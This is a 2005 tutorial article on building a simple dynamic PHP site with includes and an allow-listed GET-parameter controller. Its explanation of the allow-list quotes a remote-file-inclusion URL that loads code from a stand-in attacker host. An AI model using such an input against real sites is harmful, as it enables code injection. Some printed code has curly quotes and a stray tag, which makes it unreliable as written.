Easy-peasy PHP 2

Easy-peasy PHP 2

Got something to say?

Share your comments on this topic with other web professionals

In: Articles

By Jim Amos

By Mike Papageorge

Published on July 11, 2005

Simple Dynamic Content with PHP

Easy-Peasy PHP was geared at being a simple introduction to using switches and includes in PHP. Several readers brought up some legitimate concerns in the comments, and others had some problems making the code work. This follow-up article proposes a better, more robust and secure method for getting started with using PHP on your Web site.

Same Principle, Different Method

In the first article we used PHP to include common page elements such as headers and footers on our pages dynamically. We then used a switch statement to dynamically serve the main content of the page.

In this article, we are going to do things a little differently but with the same objective and result. We are still going to use a URL parameter to serve the dynamic content, but will use an if/elseif statement to do so.

Includes and Templates

One of the fundamental ways to create easily maintainable sites is to cut down as much as possible the coding required for repeated content.

Most sites—no matter how big or small—have elements that are repeated across the entire site. For example, a header, footer and sidebar appear on every page. When working with bare-bones HTML, this process is cumbersome. You have to copy and paste the same chunk of code hundreds or thousands of times, depending on how many pages are in your site. This could easily cause a repetitive stress injury, which is very bad news for anyone wishing to dive into Half-Life 2 for a few hours after work.

Because PHP is a server-side language, we can use it to include these common elements in our pages dynamically by pasting a simple one-line code instead of the whole chunk each time we want it to appear on a page. Later on, when we need to make changes to this common element, we only need to edit a single file and re-upload it to the Web for revisions to take effect across every page.

Start with a basic template, and add some includes

We’re going to start out easy. Enter the following into your text editor and save it as main.php:

<html>
<head>
<title>Simple PHP page</title>
</head>
<body>
</body>
</html>

A header

What we have there is the basic structure of a Web page. To include a basic header in our HTML document, we’ll add the following code directly after the <body> tag:

<?php include ("header.php"); ?>

What this does is tell the server to fetch the file header.php and to insert its contents directly into the HTML.

Now, header.php doesn’t actually exist yet, so create a new file with the following:

<h1>PHP for Web designers</h1>

Save it as header.php.

Notice the file has no defining <html>, <head> or <body> elements, or any other code. This is because the HTML page into which the header file is embedded already has the necessary data for the server to display its contents, and is therefore not required inside the included file.

I should probably point out at this stage that you’ll only be able to test what we’ve done so far by uploading both files to a Web server which supports PHP. The PHP module is available on most Linux servers and is also available for Microsoft servers. If you are unsure about your server configuration or if you have access to PHP, just ask your web host.

A footer

Next, we’ll add the footer below the include for the header:

<?php include ("footer.php"); ?>

Next, type the following in a new file and save it as footer.php:

<p>&copy; 2005 Joe Blogs. All rights reserved.</p>

Navigation

Just to finish things off, create a new PHP file, then add the following link list and save it as navigation.php. When you are done, include navigation.php in your template (see below if you are not sure where).

<ul>
<li><a href="main.php?id=intro" title="Page intro">Intro</a></li>
<li><a href="main.php?id=bluetruck" title="Blue Truck">Blue Truck</a></li>
<li><a href="main.php?id=redhouse" title="Red House">Red House</a></li>
<li><a href="main.php?id=brownbear" title="Brown Bear">Brown Bear</a></li>
</ul>

Our basic structure

At this point, we should have the following in our file main.php:

<html>
<head>
<title>Simple PHP page</title>
</head>
<body>
<?php
include ("header.php");
include ("navigation.php");
include ("footer.php");
?>
</body>
</html>

In a moment, we’ll begin working on inserting some dynamic code based on the REQUEST a browser makes to our server. But first, a few things worth noting.

Include paths

You may notice that header.php, navigation.php and footer.php are included simply as include ("filename.php");. This is fine if we are going to have all of our files, namely main.php, header.php and footer.php etc., in the same directory on the server. But this isn’t always the case. In some instances you may have your common elements like header.php and footer.php in one folder, and your template, main.php in another. To help keep your sanity when including files then, it’s a good idea to include them right from the filesystem root of your server, like so:

<?php include ($_SERVER['DOCUMENT_ROOT'].'footer.php'); ?>

Lets put this to practice. Create a new folder called inc and move header.php, navigation.php and footer.php to that folder. Leave main.php outside of that folder. You should now edit main.php to look like this:

<?php
<html>
<head>
<title>Simple PHP page</title>
</head>
<body>
<?php
include ($_SERVER['DOCUMENT_ROOT'].'/inc/header.php');
include ($_SERVER['DOCUMENT_ROOT'].'/inc/navigation.php');
include ($_SERVER['DOCUMENT_ROOT'].'/inc/footer.php');
?>
</body>
</html>

Try It Out

At this point, if you haven’t already, it’s time to test your code out. Upload everything to your server and point your browser at main.php. So far your amazingly awesome page should look like this:

browser screenshot of simple PHP page

You can see how this makes Web production much easier—you only need to add one line of code to include a PHP file containing HTML code. And whenever you need to update all instances of the header and/or footer, you only have one or two files to edit.

Getting Dynamic

Here’s where we get into some fun stuff: inserting dynamic content into your template based on the GET request parameters passed to the server from a browser. To put that more simply, we’re going to change the content that is included in the template by changing the value of a variable in the URL.

We’re all familiar with variables in URLs. They might look like ?q=digital+web or ?p=php+tutorial.

In PHP, we can access these HTTP GET request variables by way of the $_GET associative array. While this sounds fancy, it simply means if the if you have an URL like http://www.example.com/?name=dw, you can retrieve the variable ‘name’ and its corresponding value in your script through $_GET['name']. Don’t worry if you don’t quite follow this. The example below should clear things up.

Let’s make some content

Keeping in line with our simple example, create the following files and save them to your “inc” folder:

  • bluetruck.php: <p>The truck is painted blue.</p>
  • redhouse.php: <p>The house is red.</p>
  • brownbear.php: <p>The bear is brown (how stereotypical).</p>
  • intro.php: <p>This is a simple demonstration of PHP includes.</p>

Building Your Controller

Now that we have everything built and in its place, we need to build some code that will include the appropriate file for a given URL. If you look at the URLs that we use in our navigation, they request the file main.php from the browser and also contain a GET parameter, which in this case we called ‘id’. The only thing that varies in our navigation is the value of the GET variable, and that is what calls our includes.

The code

The following lines of code would be placed between the navigation and footer include statements.

// 1. Define an array of allowed $_GET values:
$pass = array('intro','bluetruck','redhouse','brownbear');

// 2. If the page is allowed, include it:
if (in_array($_GET[‘id’], $pass)) {
include ($_SERVER[‘DOCUMENT_ROOT’] . ‘/inc/’ . $_GET[‘id’] . ‘.php’);
}

// 3. If there is no $_GET[‘id’] defined, then serve the homepage:
elseif (!isset($_GET[‘id’])) {
include ($_SERVER[‘DOCUMENT_ROOT’] . ‘/inc/intro.php’);
}

// 4. If the page is not allowed, send them to an error page:
else {
// This sends the 404 header:
header(“HTTP/1.0 404 Not Found”);
// This includes the error page:
include ($_SERVER[‘DOCUMENT_ROOT’] . ‘/inc/error.php’);
}

OK, let’s look at that code:

Step 1

Here we are defining an array of values that we will allow for the $_GET['id'] variable. This protects us from code injection vulnerabilities. PHP will include remote files if used in a URL, so a hacker could easily include his/her own malicious code in our site by simple entering http://www.example.com/main.php?id=http://evilhacker.net/include_this.txt.

Step 2

Here is where we finally include some content, but first we’ll check the value of the $_GET variable against our array of allowed values, and if it passes, we include it.

Step 3

If things didn’t match in step 2, we check and see if perhaps there is no value for $_GET['id'], in which case we simply default to http://www.example.com/main.php (or for you nit pickers it could also be http://www.example.com/main.php>id=.

Step 4

If we make it this far through the if/elseif/else statement, it’s time to give them a 404 Error page, because the URL being requested does not exist. You’ll notice that we haven’t built an error page yet, so go ahead and build one and save it in your “inc” folder as error.php.

We’re not quite done yet

When it comes time to serve a page, a server will send the HTTP headers first, before the <html> section of the document is sent. Now, if you look closely at our code above, when we send an error page, we have instructed PHP to send a 404 header along with it. The problem is that we are telling it to do so after having sent content to the browser—that is, after other HTTP headers and content have been sent. If we leave our code like this, our error page will throw an error similar to the following:

Warning: Cannot modify header information - headers already sent by (output started at D:Somefile.php:16) in D:Somefile.php on line 67

To avoid this problem, we need to add the following bit of code to the top of the page:

  // Enable output buffering
// More info: http://www.php.net/ob_start
ob_start();

 

ob_start() is an output buffer that holds back any output from the script until everything is ready to go, then sends the headers and HTML. In this fashion, we can set a header in the middle of our script, like our 404 header, and not worry about causing any errors.

Wrap Up

So that’s about it. This article served as an introduction to using includes in PHP and building a simple, dynamic website. All your page needs now is some images and CSS for style.

We have packaged up a set of files that demonstrate a slightly more advanced variation of what we built above, adding extra $_GET['id'] variables for images, text and this method of setting the current page for links. This could also have been done using the $_GET variables, so if you feel up to it, give it a try.

Resources

If you are just getting into PHP, it’s worth it to learn how to follow a coding guideline. It will help keep your code consistent and legible. This topic and a few others are covered by the following links:

Related Topics: PHP, Programming

Jim Amos is an Englishman, a self-starter, and a dreamer; he has a strained wrist from playing too much Warcraft and is serious about all things internet.

Mike Papageorge is a coffee loving web developer with 6 years experience building websites and marketing businesses on the internet.